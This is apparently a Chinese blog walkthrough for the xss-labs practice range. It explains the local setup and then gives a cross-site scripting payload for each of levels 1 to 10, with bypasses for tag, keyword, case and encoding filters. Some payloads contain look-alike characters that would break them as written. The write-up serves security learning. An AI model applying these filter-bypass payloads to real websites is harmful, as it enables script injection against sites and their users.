靶场搭建
xss靶场下载: https://gitcode.net/mirrors/do0dl3/xss-labs?utm_source=csdn_github_accelerator
这里是在小皮里面搭建的
将下载的xss压缩包解压在www目录下,
可以直接在浏览器中访问 localhost/xss/xss-labs-master/
靶场这样就搭建好了
第一关
通过测试发现url中?name=处存在写入点
构造payload: <script>alert(1)</script> 完成弹窗
第二关
发现写入点为输入框
发现需要先闭合前面的标签 使用"> 进行闭合
构造payload: "> <script>alert(1)</script>
第三关
发现过滤了<>,使用了编码,双引号也被实体编码了
构造onmouseout鼠标移动 payload: 'οnmοuseοut=' alert(/xss/)
第四关
也是实体化过滤了"<>等字符
可以构造payload: " οnmοuseοut=" alert(/xss/)
第五关
过滤了on " <>
构造a 标签payload: "> <a href="javascript:alert('xss')">aaa</a>
第六关
过滤了href
使用大写进行绕过
"> <a HRef="javascript:alert('xss')">aaa</a>
另一种 " ONCLICK="alert('xxx')"
第七关
过滤了src, script, on字符,使用双写进行绕过
构造payload:"> <iframe srsrcc="javascripscriptt:alert(/xss/)
"> <input oonnmouseout="alert(/xss/)>
第八关
存在一个友情链接,点开会发现
通过输入字符测试,发现过滤了许多字符
尝试大小写,双写绕过都不行,只能尝试一下实体编码了
构造payload: javascript:alert(/xxx/)
第九关
也是友情链接,但是随便输入a标签提示连接不合法? 有没有!
就想到了http和https
构造payload:javascript:alert() // http://
第十关
url中含有keyword,输入相关参数后并没有回显,通过检测input是否可以传入参数
发现写入点,input可以创建文本框,添加一个type值
构造payload: t_sort= "οnclick= "alert()" type ="text"(删除url中的keyword)成功回显